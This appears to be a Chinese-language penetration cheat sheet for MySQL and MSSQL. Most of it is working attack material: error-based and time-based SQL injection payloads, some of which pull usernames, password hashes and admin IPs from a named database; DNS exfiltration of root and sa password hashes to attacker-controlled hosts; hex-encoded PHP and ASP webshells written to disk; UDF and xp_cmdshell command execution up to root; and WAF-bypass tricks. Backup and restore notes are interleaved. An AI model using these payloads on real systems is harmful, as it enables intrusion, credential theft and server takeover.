MYSQL

MYSQL各个版本下载
http://mirrors.sohu.com/mysql/

报错注入

常用报错函数

FLOOR(X)表示向下取整

select FLOOR(12.2) -> 12

1
2
3
4
5
6
7
select * from t where name='a'
UNION ALL select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x
[Err] 1062 - Duplicate entry 'root@localhost1' for key 'group_key'
select * from t where name='a'
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

XML文档支持

ExtractValue() 长度32位限制

1
2
select * from t where name='a'
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

[Err] 1105 - XPATH syntax error: ‘~root@localhost~’

UpdateXML()

1
2
select * from t where name='a'
and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

[Err] 1105 - XPATH syntax error: ‘~root@localhost~‘

geometrycollection()

1
2
select * from t where name='a'
and geometrycollection((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

multipoint()

1
2
select * from t where name='a'
and multipoint((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

polygon()

1
2
select * from t where name='a'
and polygon((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

multipolygon()

1
2
select * from t where name='a'
and multipolygon((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

linestring()

1
2
select * from t where name='a'
and linestring((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

multilinestring()

1
2
select * from t where name='a'
and multilinestring((select * from(select * from(select user())a)b));

[Err] 1367 - Illegal non geometric ‘(select b.user() from (select ‘root@localhost’ AS user() from (select user() AS user()) a) b)’ value found during parsing

exp() 版本在5.5.5以上

1
select * from test where id=1 and exp(~(select * from(select user())a));

实例

error-based

1
2
3
4
5
6
7
lang=en') AND EXTRACTVALUE(1267,CONCAT(0x5c,0x7170627871,(SELECT (CASE WHEN (1267=1267) THEN 1 ELSE 0 END)),0x7170707671)) AND ('PeJH'='PeJH
name=b' and extractvalue(1, concat(0x7e,(SELECT string FROM t limit 0,1))) and a ='1
select * from t where name = 'c' and extractvalue(1, concat(0x7e,(SELECT string FROM t limit 1,1)) )
select * from t where name = 'c' and extractvalue(1, (SELECT string FROM t limit 1,1) )
lang=en') AND EXTRACTVALUE(2872,CONCAT(0x23,(SELECT MID((IFNULL(CAST(id AS CHAR),0x20)),1,50) FROM MTN2012.`user` LIMIT 7,1))) AND ('XTGg'='XTGg
en') AND EXTRACTVALUE(2872,CONCAT(0x23,(SELECT MID((IFNULL(CAST(id AS CHAR),0x20)),1,200) FROM MTN2012.`user` where username='mihmd' ))) and (1='1;
en') AND EXTRACTVALUE(4230,CONCAT(0x5c,0x716b787871,(SELECT MID((IFNULL(CAST(cIpAddress AS CHAR),0x20)),1,50) FROM MTN2012.admin ORDER BY email LIMIT 1,1),0x7170626271)) AND ('JonM'='JonM

//cut string
SELECT MID(ColumnName, Start [, Length])
CAST(value as type);
CHAR
SIGNED
CONVERT(value, type);
LIMIT 18,1 //ahmad

left(‘ruo’,1) = ‘r’
substr(‘ruo’,1,1) = ‘r’
ascii(‘r’) = 114
mid(‘ruo’,1,1) = ‘r’

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
(SELECT
MID((IFNULL(CAST(password AS CHAR),0x20)),1,50)
FROM MTN2012.`user` LIMIT 3,1)
lang=en') AND
EXTRACTVALUE(4230,
CONCAT(0x34,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM MTN2012.user ORDER BY id LIMIT 18,1))
)
AND ('JonM'='JonM;
en') AND EXTRACTVALUE(4230,CONCAT(0x5c,0x716b787871,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM MTN2012.user limit 1,1),0x7170626271)) AND ('JonM'='JonM;
en') AND EXTRACTVALUE(4230,CONCAT(0x34,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM MTN2012.user limit 1,1))) AND ('JonM'='JonM;
en') AND EXTRACTVALUE(1,(select username FROM MTN2012.user limit 1,1)) AND ('JonM'='JonM;
where username = 0x6261626e73696969
098f6bcd4621d373cade4e832627b4f6
select * from t where name = 'c'
and extractvalue(1,
(SELECT string FROM t limit 1,1)
)
select extractValue(1,(SELECT string FROM t limit 1,1))
[Err] 1105 - XPATH syntax error: 'f6bcd4621d373cade4e832627b4f6'
select extractValue(1,(SELECT concat(":",string) FROM t limit 1,1))
[Err] 1105 - XPATH syntax error: ':098f6bcd4621d373cade4e832627b4f'
floor
select * from t where name = 'c'
-- and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
-- and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x74 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
/*
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,string) FROM t limit 2,1) -- #a:100684d61405e723#
-- "hkruo"
,floor(rand(0)*2))x from information_schema.tables group by x)a
)
*/
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,string) FROM t limit 2,1) -- #a:100684d61405e723#
,floor(rand(0)*2))x
from information_schema.tables group by x
)b
)
and (select 1 from
(
select count(*),concat(
(SELECT distinct concat(0x23,password) FROM admin limit 2,1)
,floor(rand(0)*2))x
from information_schema.tables group by x
)b
)
en')+and+(select 1 from (select count(*),concat((SELECT distinct concat(0x23,password) FROM admin limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)b) and ('JonM'='JonM

延时注入

延时函数
Mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) OR GENERATE_SERIES(1,10000)
MSSQL WAITFOR DELAY ‘0:0:5’

查询延时
select * from test.t where name = ‘a’

Payload

1
2
3
' or If(substr('ruo',1,1) = 'r',sleep(5),0)
' and if(true,sleep(5),0) #
' union select benchmark(500000,md5('test'));

DNS传输数据

配置域名
A test 153.92.xxx.xxx
NS ns1 test.domainname.com

语句

1
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.ns1.domainname.com\\foo'));

测试

1
2
select * from t WHERE `name` = 'a'
or if((SELECT LOAD_FILE(CONCAT('\\\\',(SELECT hex(user())),'.ns1.domainname.com\\foo'))),1,1)

使用dnschef接收数据
[22:29:07] 61.139.113.158: proxying the response of type 'A' for 726F6F74406C6F63616C686F7374.ns1.domain.com

Note

  1. 考虑LOAD_FILE被禁用的情况
  2. 本地DNS无法解析

文件操作

在写文件或是shell的时候可能有些引号导致出错,这里我们可以考虑将其转换成16进制写入。如果mysql配置了 –secure-file-priv 参数将限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()函数的使用。

1
2
3
4
5
6
7
8
9
10
11
12
/* 写webshell */
select hex('<?php eval($_POST[ru0]);phpinfo();?>')
select 0x3C3F706870206576616C28245F504F53545B7275305D293B706870696E666F28293B3F3E into outfile 'D:/r1.php'
/* 还原16进制数据/etc/passwd */
select unhex('2F6574632F706173737764');
/* 将16进制的数据保存到文本文件中 */
select hex(load_file('D:/Test/setup.exe')) into outfile 'D:/Test/hex16f.txt';
/* 导出为2进制文件 */
select 0x4D5A90000300000004000000/*16进制数据*/ into dumpfile 'D:/Test/file.exe';

Note

  1. 将原程序转换成16进制在写入文件的时候需要使用into dumpfile,不能使用into outfile。
  2. 导出时不要忘记字符串开头0x符号。

UDF

Linux:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ id
uid=500(raptor) gid=500(raptor) groups=500(raptor)
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
$ mysql -u root -p
Enter password:
[...]
mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
mysql> create function do_system returns integer soname 'raptor_udf2.so';
mysql> select * from mysql.func;
+-----------+-----+----------------+----------+
| name | ret | dl | type |
+-----------+-----+----------------+----------+
| do_system | 2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
mysql> \! sh
sh-2.05b$ cat /tmp/out
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
[...]

Windows:

S1. 编译udf

udf源码
http://www.mysqludf.org/
https://github.com/sqlmapproject/udfhack

编译32位版本
MYSQL: 4.1.22
编译头文件: mysql-4.1.22-win32\include

将lib_mysqludf_sys.dll放入 c:\windows 目录内,高版本放到plugin目录(有bug,某些命令会导致MYSQL程序崩溃。)

Important
udf文件存放路径和流类型创建plugin目录(select ‘xxx’ into dumpfile ‘C:\WINDOWS\TEMP\plugin::$INDEX_ALLOCATION’;)需对照目标版本针对性测试。

S2. 创建函数

查看版本
select version();

查看plugin目录路径
SHOW VARIABLES LIKE ‘%plugin%’

1
2
3
4
5
6
7
8
9
10
mysql>use mysql;
mysql>CREATE FUNCTION sys_exec RETURNS string SONAME 'lib_mysqludf_sys.dll';
mysql>SELECT * from mysql.func;
+----------+-----+-----------------------+----------+
| name | ret | dl | type |
+----------+-----+-----------------------+----------+
| sys_exec | 0 | lib_mysqludf_sys1.dll | function |
+----------+-----+-----------------------+----------+
mysql>SELECT sys_exec('whoami > d:/11.txt');
mysql>DROP FUNCTION sys_exec;

MYSQL FEDERATED

The FEDERATED storage engine lets you access data from a remote MySQL database without using replication or cluster technology.The FEDERATED storage engine is not enabled by default in the running server; to enable FEDERATED, you must start the MySQL server binary using the –federated option.

Create FEDERATED Tables

ST1

  1. 创建远程表
    1
    2
    3
    4
    5
    6
    CREATE TABLE `T1`(
    id INT(20) NOT NULL AUTO_INCREMENT,
    `name` VARCHAR(100),
    PRIMARY KEY (id)
    )
    ENGINE=MYISAM;

ST2

  1. 在my.ini中开启federated存储引擎

    1
    2
    [mysqld]
    federated
  2. 使用 CONNECTION 创建 FEDERATED 表

    1
    2
    3
    4
    5
    6
    7
    CREATE TABLE `T1_FEDERATED`(
    id INT(20) NOT NULL AUTO_INCREMENT,
    `name` VARCHAR(100),
    PRIMARY KEY (id)
    )
    ENGINE=FEDERATED
    CONNECTION='mysql://root:password@127.0.0.1:3306/test/T1';

Note
The remote server must be a MySQL server.
Care should be taken when creating a FEDERATED table since the index definition from an equivalent MyISAM or other table may not be supported.

How to attack?
在开启引擎的情况下可以通过其他用户访问本地其他表

Restoring Orphan File-Per-Table ibd Files

在有.frm和.ibd文件的时候(独立表空间,innodb_file_per_table=1)恢复数据库,首先确保当前数据库和待恢复数据库版本一致!

ST1

  1. 获取表结构
    建立同名数据库
    mysql> CREATE DATABASE dbname;
  2. 将.frm文件拖入相应的数据库目录下
  3. 查看表结构
    mysql> SHOW CREATE TABLE tbname;

Note
恢复表结构方式2(推荐使用)
MySQL Utilities
https://dev.mysql.com/downloads/utilities/
$ mysqlfrm –basedir=/usr/local/bin/mysql test1:db1.frm –port=3333

ST2

  1. 使用导出的语句创建表结构
  2. 分离当前表空间
    mysql> ALTER TABLE dbname.tbname DISCARD TABLESPACE;
  3. 拷贝要恢复的.idb文件到新数据库目录下(在Linux下确保.ibd文件有合适的权限)
  4. 导入.ibd文件
    mysql> ALTER TABLE dbname.tbname IMPORT TABLESPACE; SHOW WARNINGS;

绕过WAF

WAF拦截流程
数据清洗 -> 规则匹配

大小写转换 union -> UnIon
删除型过滤 union -> unioUNIONn
<> 等价于 BETWEEN
= 等价于 like
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
mysql支持 &&,||
+ 加号当空格
/*Comments*/ 注释当空格
CONCAT/*Comments*/('a','test'); //函数名与左括号之间可以存在特殊字符
where name = 8E0union select 'test' // 8.0union select ‘test’ 无法绕过正则匹配union\sselect
UNION/*!12345select all*/1,2 //union all select 1,2

` 起到注释
union%250Cselect %250C空白符
union%25A0select
mysql 忽略未知的编码

Note
通过日志查看mysql语句执行情况
配置my.ini开启日志
[mysqld]
log = mysql.log
或者
set global general_log=1;

存储过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
use test;
DROP PROCEDURE IF EXISTS test;
CREATE PROCEDURE test()
BEGIN
DECLARE i INT DEFAULT 1;
#SET i=1;
WHILE i < 3608 DO
#CREATE TABLE ti(id int) ENGINE=InnoDB;
set @sql_create_table = concat('CREATE TABLE IF NOT EXISTS tb_',i,'(id int) ENGINE=InnoDB');
PREPARE sql_create_table FROM @sql_create_table;
EXECUTE sql_create_table;
SET i=i+1;
END WHILE;
END;
CALL test()

备份还原

转储SQL文件

mysqldump -h ip -uroot -pPassword dbname table1 table2 > backup.sql

mysqlhotcopy

恢复

mysql -u root -pPassword dbname < backup.sql

Note
如果出现语法错误等需设置最大数据包参数
mysql> set global max_allowed_packet=268435456;

MSSQL

常用语句

获取数据库文件路径

select database_id,name,physical_name AS CurrentLocation,state_desc,size from sys.master_files where database_id=db_id(N'wx');

当前数据库名 db_name()
当前用户 user
服务器名 @@SERVERNAME

数据库名

select name from master.dbo.sysdatabases where dbid=1

查看表名

select top 1 name from 库名.dbo.sysobjects where xtype=’U’

查看表对应的id

select id from sl.dbo.sysobjects where xtype=’U’ and name=’users’

通过表id查询其列名

select name from sl.dbo.syscolumns where id=1937441976

添加角色

1
2
CREATE LOGIN ruo WITH PASSWORD = '123456';
EXEC sp_addsrvrolemember 'ruo', 'sysadmin'

常用函数

COL_NAME ( table_id , column_id )
IS_SRVROLEMEMBER (‘sysadmin’)
IS_MEMBER (‘db_owner’)
EXISTS/NOT EXISTS
IN/ONT IN

1
2
3
--遍历表名
SELECT TOP 1 name FROM sl.dbo.sysobjects WHERE xtype='U'
AND NAME NOT IN (SELECT TOP N NAME FROM sl.dbo.sysobjects WHERE xtype='U')

将多行值转成一列

1
2
3
4
-- 获取表列名
DECLARE @col varchar(1000)='';
SELECT @col = @col + name + ',' FROM SysColumns WHERE id=Object_Id('Users');
--PRINT RTRIM(@col);

SELECT ‘,’+Name FROM SysColumns WHERE id=Object_Id(‘Users’) FOR XML PATH(‘’)

查看table表列名
SELECT COL_NAME(OBJECT_ID('table'), 1)

猜列值
ascii(substring(COL_NAME(OBJECT_ID(‘Users’),1),1,1)) > 0 // 第几个字段,第几个字母

UNICODE(SUBSTRING((SELECT%0a ISNULL(CAST(LTRIM(STR(LEN(COL_NAME(OBJECT_ID(‘table’),1)))) AS NVARCHAR(4000)),CHAR(32))),1,1))>48

命令执行

1
2
3
EXEC sp_configure 'show advanced options',1 //允许修改高级参数
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
EXEC master..dbo.xp_cmdshell 'whomai'

Public 权限列目录

获取C:下目录名
EXEC master..xp_dirtree 'c:/',1

1
2
3
4
5
6
7
8
9
10
IF OBJECT_ID('tempdb..##DirectoryTree') IS NOT NULL
DROP TABLE ##DirectoryTree;
CREATE TABLE ##DirectoryTree (
id int IDENTITY(1,1),
subdirectory nvarchar(512),
depth int,
isfile bit);
INSERT ##DirectoryTree (subdirectory,depth,isfile) EXEC master..xp_dirtree 'c:/',1,1;

DNS传输数据

1
2
3
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.attacker.com';
EXEC master..xp_dirtree "\\'+@host+'\foobar$";

备份数据库

1
2
BACKUP DATABASE database_name
TO DISK = 'D:\backup.bak'

备份还原

ST1 创建数据库。
ST2 返回由备份集内包含的数据库和日志文件列表组成的结果集。

1
2
RESTORE FILELISTONLY
FROM DISK = ' D:\Hs.bak '

ST3 还原并指定数据库物理文件名称及路径。

1
2
3
4
5
RESTORE DATABASE database_name
FROM DISK = 'D:\Hs.bak'
WITH REPLACE,
MOVE 'HealthSchoolMIS_Data' TO 'D:\DATA\HealthSchoolMIS_Data.MDF',
MOVE 'HealthSchoolMIS_Log' TO 'D:\DATA\HealthSchoolMIS_Log.LDF'

数据库备份shell

第一次进行全量备份

1
2
3
alter database database_name set RECOVERY FULL //第一次对数据库进行一次全备份
backup database database_name to disk = 'd:\1.asp'
BACKUP LOG cannot be performed because there is no current database backup.

建立cmd表,并写入值

1
2
3
create table cmd (a image)
insert into cmd (a) values (0x3C256576616C20726571756573742822732229253E)
0x3C256576616C20726571756573742822732229253E -> <%eval request("s")%>

进行增量备份

1
2
backup log database_name
to disk = 'c:\1.asp'

文件上传

将数据插入本地表

1
2
create table temp (data text)
bulk insert temp from 'd:\test.txt' with (codepage='RAW')

bcp {dbtable | query} {in | out | queryout | format} 数据文件
数据库名dbtable -> in/out
查询query -> queryout

远程连接攻击数据库导出为文件

1
EXEC master..xp_cmdshell 'bcp "SELECT * FROM test.dbo.temp" queryout d:\tset1.txt -c -S"服务器地址" -U"username" -P"password"'

在数据库中
导出test数据库中temp表内容到文件(二进制文件也行)

1
2
EXEC master..xp_cmdshell 'bcp test.dbo.temp out d:\tset1.txt -c -T'
EXEC master..xp_cmdshell 'bcp "select * from test.dbo.temp" queryout "d:\test.exe" -c -T'

Oracle